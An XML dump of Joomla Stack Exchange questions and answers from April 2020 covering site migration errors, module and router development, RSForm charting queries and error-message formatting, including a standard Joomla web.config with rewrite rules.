  <row Id="27986" PostTypeId="1" CreationDate="2020-04-24T21:51:23.650" Score="0" ViewCount="56" Body="&lt;p&gt;I have Joomla 3.3.1 version&#xA;After migrating the web site to another host (with IIS server) I had a problem with blank pages when I click on a menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The home page is displayed well, the problem is just in the menus links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is some errors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notice: Undefined index: id in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\components\com_falang\helpers\falang.class.php&#xA;on line 230&lt;/li&gt;&#xA;&lt;li&gt;Warning:&#xA;file(C:\Inetpub\vhosts\ormvag.ma\httpdocs/administrator/components/com_sef/sef.xml):&#xA;failed to open stream: No such file or directory in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\components\com_sef\joomsef.php&#xA;on line 2824&lt;/li&gt;&#xA;&lt;li&gt;Warning: implode(): Argument must be an array in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\components\com_sef\joomsef.php&#xA;on line 2824&lt;/li&gt;&#xA;&lt;li&gt;Warning:&#xA;file(C:\Inetpub\vhosts\ormvag.ma\httpdocs/administrator/components/com_sef/sef.xml):&#xA;failed to open stream: No such file or directory in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\components\com_sef\joomsef.php&#xA;on line 2824&lt;/li&gt;&#xA;&lt;li&gt;Warning: implode(): Argument must be an array in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\components\com_sef\joomsef.php&#xA;on line 2824&lt;/li&gt;&#xA;&lt;li&gt;Warning: is_file(): open_basedir restriction in effect.&#xA;File(/../../../plugins/system/jmframework/includes/assets/template/bootstrap/less/reset.less.less)&#xA;is not within the allowed path(s):&#xA;(C:/Inetpub/vhosts/ormvag.ma\;C:\windows\Temp) in&#xA;C:\Inetpub\vhosts\ormvag.ma\httpdocs\plugins\system\jmframework\includes\libraries\less\lessc.inc.php&#xA;on line 300&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Web config gile ( web.config ):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA;   &amp;lt;system.webServer&amp;gt;&#xA;       &amp;lt;rewrite&amp;gt;&#xA;           &amp;lt;rules&amp;gt;&#xA;               &amp;lt;rule name=&quot;Joomla! Rule 1&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                   &amp;lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                   &amp;lt;conditions logicalGrouping=&quot;MatchAny&quot;&amp;gt;&#xA;                       &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;base64_encode[^(]*\([^)]*\)&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                       &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;(&amp;amp;gt;|%3C)([^s]*s)+cript.*(&amp;amp;lt;|%3E)&quot; /&amp;gt;&#xA;                       &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;GLOBALS(=|\[|\%[0-9A-Z]{0,2})&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                       &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;_REQUEST(=|\[|\%[0-9A-Z]{0,2})&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                   &amp;lt;/conditions&amp;gt;&#xA;                   &amp;lt;action type=&quot;CustomResponse&quot; url=&quot;index.php&quot; statusCode=&quot;403&quot; statusReason=&quot;Forbidden&quot; statusDescription=&quot;Forbidden&quot; /&amp;gt;&#xA;               &amp;lt;/rule&amp;gt;&#xA;               &amp;lt;rule name=&quot;Joomla! Rule 2&quot;&amp;gt;&#xA;                   &amp;lt;match url=&quot;(.*)&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                   &amp;lt;conditions logicalGrouping=&quot;MatchAll&quot;&amp;gt;&#xA;                     &amp;lt;add input=&quot;{URL}&quot; pattern=&quot;^/index.php&quot; ignoreCase=&quot;true&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                     &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                     &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                   &amp;lt;/conditions&amp;gt;&#xA;                   &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;               &amp;lt;/rule&amp;gt;&#xA;           &amp;lt;/rules&amp;gt;&#xA;       &amp;lt;/rewrite&amp;gt;&#xA;   &amp;lt;/system.webServer&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14248" LastActivityDate="2020-04-24T21:51:23.650" Title="Joomla blank page after migration?" Tags="|joomla-3.x|menu|category|migration|error-pages|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27988" PostTypeId="1" CreationDate="2020-04-25T15:28:15.693" Score="0" ViewCount="459" Body="&lt;p&gt;I created a list using Fabrik and used elements to create fields for the list. The result was a form for my Joomla registered users to use to input data such as in fields I created like in the below picture (channel name, title, ...etc).&lt;/p&gt;&#xA;&lt;p&gt;I let the website guests see (but not edit) the data that was inputted and the result was the photo I've attached below.&lt;/p&gt;&#xA;&lt;p&gt;The problem: the way that information is displayed is not user-friendly (a guest has to click on the button to see the details).&lt;/p&gt;&#xA;&lt;p&gt;Is there a way that I can change how things stored in the form are displayed? I want to share them as articles preferably, like every submission done through a list is changed to an article. Is it possible?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ktnM1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ktnM1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14193" LastEditorUserId="12352" LastEditDate="2021-05-07T21:26:53.793" LastActivityDate="2021-05-07T21:27:29.020" Title="Changing how Fabrik extension lists are displayed" Tags="|articles|css|user|fabrik|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27989" PostTypeId="1" AcceptedAnswerId="27990" CreationDate="2020-04-26T19:32:28.513" Score="1" ViewCount="1857" Body="&lt;p&gt;I'm getting the following error when trying to submit a form using &lt;code&gt;Joomla.submitbutton('book.submit')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I get is:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot set property 'value' of undefined&#xA;at Object.Joomla.submitform (core-uncompressed.js?f096f6025f0c22829d968a68944d3145:66)&#xA;at Object.Joomla.submitbutton (submitbutton.js:26)&#xA;at HTMLButtonElement.onclick (gallery:195)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;submitbutton.js line 26:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isValid)&#xA;{&#xA;    Joomla.submitform(task);&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;core-uncompressed.js?f096f6025f0c22829d968a68944d3145 line 66:       &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (task) {&#xA;        form.task.value = task;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It means that, somehow, the button is empty or something related to this but I do not understand why.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It was perfectly working and now it does not work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code has not changed at all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have not touched the project in the past 5 days.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It was working when I last checked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I went to continue where I left off, I ran into this unpleasant issue.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-26T19:38:42.960" LastActivityDate="2020-04-26T19:53:20.360" Title="Error &quot;Uncaught TypeError: Cannot set property 'value' of undefined&quot; on submit form" Tags="|joomla-3.x|form|task|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27990" PostTypeId="2" ParentId="27989" CreationDate="2020-04-26T19:53:20.360" Score="1" Body="&lt;p&gt;Add &lt;code&gt;task&lt;/code&gt; field to the form's HTML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;task&quot; type=&quot;hidden&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-26T19:53:20.360" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27991" PostTypeId="1" CreationDate="2020-04-27T06:55:29.667" Score="0" ViewCount="45" Body="&lt;p&gt;I have a customer who asked me to upgrade his site to the latest version of Joomla 3.9.18 being that he is on 3.9.16.&lt;/p&gt;&#xA;&lt;p&gt;Why do I worry? Well, I have the site set to remind me every day if the site has not been updated.&lt;/p&gt;&#xA;&lt;p&gt;He told me that he could not update any components, so I investigated and found that the screen turns white when trying to update.&lt;/p&gt;&#xA;&lt;p&gt;I then tested one of the components by just using manage/install and it updated fine.&lt;/p&gt;&#xA;&lt;p&gt;This client has nearly every component known to man loaded so I am surprised that nothing was broken before this. (For instance, he has three form creation components, RS Forms Pro, Breezing Forms and one other.)&lt;/p&gt;&#xA;&lt;p&gt;I suspect that one of the components or plugins has created the problem, but just putting it out there if anyone has encountered a white screen in the update area, but everything else including manual updating is working fine?&lt;/p&gt;&#xA;&lt;p&gt;I read all references to white screens, and they seem to be related to a component or plugin, but the white screen was occurring elsewhere in the backend or frontend.&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="12352" LastEditDate="2020-11-02T02:13:36.940" LastActivityDate="2020-11-02T02:13:36.940" Title="Update screen turns white when initialising an extension update" Tags="|extensions|upgrade|extension-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27994" PostTypeId="1" AcceptedAnswerId="27997" CreationDate="2020-04-27T15:08:06.407" Score="2" ViewCount="82" Body="&lt;p&gt;I am trying to develop a custom module where I have options to select 4 different Joomla articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my module XML file, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;articleOne&quot;&#xA;    type=&quot;sql&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id AS value, title AS articleOne FROM #__content&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;articleTwo&quot;&#xA;    type=&quot;sql&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id AS value, title AS articleOne FROM #__content&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;articleThree&quot;&#xA;    type=&quot;sql&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id AS value, title AS articleOne FROM #__content&quot;&#xA;/&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;articleFour&quot;&#xA;    type=&quot;sql&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id AS value, title AS articleOne FROM #__content&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get this to output the ID in the frontend. But how can I output the title, introtext and image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to display in the frontend as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z2hUz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z2hUz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2020-04-28T08:27:56.290" LastActivityDate="2020-04-29T11:32:46.187" Title="Show article details from custom module" Tags="|joomla-3.x|module|mysql|xml|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27995" PostTypeId="1" CreationDate="2020-04-27T16:14:26.750" Score="0" ViewCount="180" Body="&lt;p&gt;I have the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set a URL with JRoute like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; JRoute::_('index.php?option=com_gallery&amp;amp;view=gallery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me &lt;code&gt;example.site/gallery&lt;/code&gt;, which is correct, however, if I want to display this same link, in a different view -  example  - view finishing, it does not show this same link, but it shows the link of the view &quot;finishing&quot; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, if I'm displaying this &lt;code&gt;JRoute::_('index.php?option=com_gallery&amp;amp;view=gallery')&lt;/code&gt; in the view &quot;finishing&quot;, instead of displaying &lt;code&gt;example.site/gallery&lt;/code&gt;, it displays &lt;code&gt;example.site/finishing&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it happens with any link; if I do this: &lt;code&gt;echo JRoute::_('index.php')&lt;/code&gt; it gives me &lt;code&gt;example.site/finishing&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Router File:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class GalleryRouter implements JComponentRouterInterface&#xA;{&#xA;&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = array();&#xA;        if (isset($query['id']))&#xA;        {&#xA;            $db = JFactory::getDbo();&#xA;            $qry = $db-&amp;gt;getQuery(true);&#xA;            $qry-&amp;gt;select('alias');&#xA;            $qry-&amp;gt;from('#__gallery_images');&#xA;            $qry-&amp;gt;where('id = ' . $db-&amp;gt;quote($query['id']));&#xA;            $db-&amp;gt;setQuery($qry);&#xA;            $alias = $db-&amp;gt;loadResult();&#xA;            $segments[] = $alias;&#xA;            unset($query['id']);&#xA;        }&#xA;        unset($query['view']);&#xA;        return $segments;&#xA;    }&#xA;&#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $vars = array();&#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $qry = $db-&amp;gt;getQuery(true);&#xA;        $qry-&amp;gt;select('id');&#xA;        $qry-&amp;gt;from('#__gallery_images');&#xA;        $qry-&amp;gt;where('alias = ' . $db-&amp;gt;quote($segments[0]));&#xA;        $db-&amp;gt;setQuery($qry);&#xA;        $id = $db-&amp;gt;loadResult();&#xA;&#xA;        if(!empty($id))&#xA;        {&#xA;            $vars['id'] = $id;&#xA;            $vars['view'] = 'gallery';&#xA;&#xA;        }&#xA;&#xA;        return $vars;&#xA;    }&#xA;&#xA;    public function preprocess($query)&#xA;    {&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hidden menu links: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_gallery&amp;amp;view=gallery&lt;/code&gt; which gives me: &lt;code&gt;example.site/gallery&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_gallery&amp;amp;view=finising&lt;/code&gt; which gives me &lt;code&gt;example.site/finishing&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do an &lt;code&gt;echo JRoute::_('index.php?option=com_gallery&amp;amp;view=gallery')&lt;/code&gt; in the view &quot;finishing&quot;, instead of giving me &lt;code&gt;example.site/gallery&lt;/code&gt; it displays &lt;code&gt;example.site/finishing&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how JRoute works but as far as I know, it should display &lt;code&gt;example.site/gallery&lt;/code&gt; regardless of the view it is being dispayed on, but pelase, correct if I am wrong.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-28T11:16:52.457" LastActivityDate="2024-01-09T03:03:50.410" Title="JRoute does not show the URL it is supposed to" Tags="|joomla-3.x|jroute|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27996" PostTypeId="1" AcceptedAnswerId="28014" CreationDate="2020-04-28T09:28:10.550" Score="1" ViewCount="243" Body="&lt;p&gt;I am working for a homeless organisation in Capetown. We are using RSForms to register our clients (about 3500 per year). We have a sizable database, but it's very hard to create a dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are trying to use vchart or plotalot, but we don't have enough MySQL knowledge and we can't get any further than an example found in JSE.  This is already high-end for us: &lt;a href=&quot;https://joomla.stackexchange.com/questions/25087/how-to-display-zero-values-in-the-legend-of-plotalot-graph-based-on-rsform-pro-r&quot;&gt;How to display zero values in the legend of PlotALot graph based on RSForm Pro results?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used this, but we don't actually understand how the different parts of the query work. If we can have another working example, we might be able to work other things out ourselves.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT FieldValue, COUNT(1)&#xA;FROM jprefix_rsform_submission_values&#xA;WHERE FormId = 14&#xA;  AND FieldName = 'SHELTER'&#xA;GROUP BY 1&#xA;ORDER BY 2 DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It would be great if I could extract a table (with rows and columns) or pie chart in PlotALot or any other 3rd party that creates visuals based on MYSQL. For example: &lt;strong&gt;Counting people per SHELTER (based on CLIENTID) depending if they are current (so, no exit date).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be even greater if the GENDER counts could be split for each SHELTER. So you would see results: &lt;strong&gt;SHELTER divided by Male/Female and count based on current CLIENTID, so there is no exit date but there is an entrydate.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a database example here:&lt;br&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/p84yz8fmHQAQtuF8uUReFY/0#&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/p84yz8fmHQAQtuF8uUReFY/0#&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14260" LastEditorUserId="12352" LastEditDate="2020-04-30T14:48:41.567" LastActivityDate="2020-07-06T12:29:50.377" Title="Charts/Graphs for RSFORM using mysql for VChart and/or PlotaLot" Tags="|mysql|database|joomla-3.9|rsform|pivot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27997" PostTypeId="2" ParentId="27994" CreationDate="2020-04-28T10:08:24.073" Score="1" Body="&lt;p&gt;As far as I know, the SQL form field will always return the ID of an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can get the title, into text and intro image, you can use Joomla's &lt;code&gt;Table&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Table\Table;&#xA;&#xA;$array = ['articleOne', 'articleTwo', 'articleThree', 'articleFour'];&#xA;&#xA;// Loop through each array item&#xA;foreach ($array as $value)&#xA;{&#xA;    $article = Table::getInstance('content'); &#xA;    $article-&amp;gt;load($params-&amp;gt;get($value));&#xA;    $articleImages = json_decode($article-&amp;gt;get('images'));&#xA;&#xA;    // Check if an intro image exists&#xA;    if (isset($articleImages-&amp;gt;image_intro))&#xA;    {&#xA;        echo '&amp;lt;img src=&quot;' . $articleImages-&amp;gt;image_intro . '&quot; alt=&quot;&quot;&amp;gt;';&#xA;    }&#xA;    echo $article-&amp;gt;get('title');&#xA;    echo $article-&amp;gt;get('introtext');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-04-29T11:32:46.187" LastActivityDate="2020-04-29T11:32:46.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27998" PostTypeId="1" CreationDate="2020-04-28T12:11:39.643" Score="1" ViewCount="123" Body="&lt;p&gt;I did a modification of one component for a contact, where the name of the file being sent as attachment is compared to the names in the database. Only if the name matches it is allowed to send. If it does not match, an error message should be displayed.&#xA;The code I added is last 15 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function exec($upload_directory, $item)&#xA;    {&#xA;        if (!is_writable($upload_directory))&#xA;        {&#xA;            return array('error' =&amp;gt; JText::_('COM_FOXCONTACT_ERR_DIR_NOT_WRITABLE'));&#xA;        }&#xA;&#xA;        $size = $this-&amp;gt;getFileSize();&#xA;        if ($size == 0)&#xA;        {&#xA;            return array('error' =&amp;gt; JText::_('COM_FOXCONTACT_ERR_FILE_EMPTY'));&#xA;        }&#xA;&#xA;        if ($size &amp;gt; constant($item-&amp;gt;get('file.size', 'MB100')))&#xA;        {&#xA;            return array('error' =&amp;gt; JText::_('COM_FOXCONTACT_ERR_FILE_TOO_LARGE'));&#xA;        }&#xA;&#xA;        $realname = $this-&amp;gt;getFileName();&#xA;&#xA;        // My code&#xA;        $realname = Normalizer::normalize($realname);&#xA;        setlocale(LC_ALL,'bs_BA.UTF-8'); &#xA;        $onlyname = pathinfo($realname, PATHINFO_FILENAME); &#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('eio3k_peaks.peak_name');&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__peaks'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $peaks_list = $db-&amp;gt;loadColumn();&#xA;&#xA;        if (!in_array($onlyname, $peaks_list))&#xA;        {&#xA;            return array('error' =&amp;gt; JText::_('Name of file &amp;lt;strong&amp;gt;' .$onlyname. ' &amp;lt;strong&amp;gt; is not correct. Pay attention to uppercase/lowercase, spaces, and special characters. More info at this link: https://planinarenje.ba'));&#xA;        }&#xA;        // End of my code&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make variable $onlyname bold, and link clickable.&#xA;I tried to make the message as a language constant and as a code, but it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is updated code from @Robbie Jackson but with this code get empty message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// My code&#xA;        $realname = Normalizer::normalize($realname);&#xA;        setlocale(LC_ALL,'bs_BA.UTF-8'); &#xA;        $onlyname = pathinfo($realname, PATHINFO_FILENAME); &#xA;&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('eio3k_peaks.peak_name');&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__peaks'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $peaks_list = $db-&amp;gt;loadColumn();&#xA;&#xA;        if (!in_array($onlyname, $peaks_list))&#xA;    {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('Name of file &amp;lt;strong&amp;gt;' .$onlyname. ' &amp;lt;/strong&amp;gt; is not correct', 'error')); return array('error' =&amp;gt; ' ');&#xA;    }&#xA;        // End of my code&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On this link you can see printscreen with old and new code &lt;code&gt;https://emreza.org/a.jpg&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11762" LastEditorUserId="11762" LastEditDate="2020-05-04T11:15:29.663" LastActivityDate="2020-05-04T12:55:42.897" Title="Change text in error message" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27999" PostTypeId="2" ParentId="27998" CreationDate="2020-04-28T12:42:01.957" Score="0" Body="&lt;p&gt;Is that what you need?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array('error' =&amp;gt; &quot;Name of file &amp;lt;strong&amp;gt;&amp;lt;a href='your_link'&amp;gt;&quot; .$onlyname. &quot;&amp;lt;/a&amp;gt; &amp;lt;/strong&amp;gt; is not correct. Pay attention to uppercase/lowercase, spaces, and special characters. More info at this link: https://planinarenje.ba&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want to use language constant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array('error' =&amp;gt; &quot;Name of file &quot;.JText::_('NAMEONLY').&quot; is not correct. Pay attention to uppercase/lowercase, spaces, and special characters. More info at this link: https://planinarenje.ba&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your contant language:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NAMEONLY=&quot;&amp;lt;strong&amp;gt;&amp;lt;a href='your_link'&amp;gt;name &amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array('error' =&amp;gt; JText::_(&quot;Name of file &amp;lt;strong&amp;gt;&amp;lt;a href='your_link'&amp;gt;&quot;.$onlyname.&quot;&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt; is not correct. Pay attention to uppercase/lowercase, spaces, and special characters. More info at this link: https://planinarenje.ba&quot;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can't display links on Javascript alerts, instead you can show the results on a div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do in your server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo  &quot;&amp;lt;div id='result'&amp;gt;Name of file &amp;lt;strong&amp;gt;&amp;lt;a href='your_link'&amp;gt;&quot; .$onlyname. &quot;&amp;lt;/a&amp;gt; &amp;lt;/strong&amp;gt; is not correct. Pay attention to uppercase/lowercase, spaces, and special characters. More info at this link: https://planinarenje.ba')&amp;lt;div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the page you are trying to show the response on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;success ajax function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; success: function (data){&#xA;            var result= $(data).find(&quot;#result&quot;).text();&#xA;            $(&quot;#error&quot;).empty().append(result);&#xA;&#xA;         }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Insert this where you want the error to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;error&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-05-04T12:55:42.897" LastActivityDate="2020-05-04T12:55:42.897" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28000" PostTypeId="1" CreationDate="2020-04-28T13:35:23.350" Score="0" ViewCount="510" Body="&lt;p&gt;I've built my own component &lt;code&gt;com_mycomp&lt;/code&gt; and in the component there is form in a &lt;code&gt;layout&lt;/code&gt; and the path to this layout is:&#xA;&lt;code&gt;com_mycomp/site/layouts/subscription/form.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I want to show this layout (form) in an article so I need to build a module to do the job for me, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my Question&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can I load the layout in the module? &lt;/li&gt;&#xA;&lt;li&gt;I've also tried to build a &lt;code&gt;view&lt;/code&gt; to show the layout but I also can't load the &lt;code&gt;view&lt;/code&gt; in the &lt;code&gt;module&lt;/code&gt;, any thoughts?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;P.S. I don't want to use an external module or plugin&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14261" LastActivityDate="2020-04-28T15:37:36.013" Title="Display the component view or layout into a module" Tags="|joomla-3.x|custom-component|custom-module|mvc|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
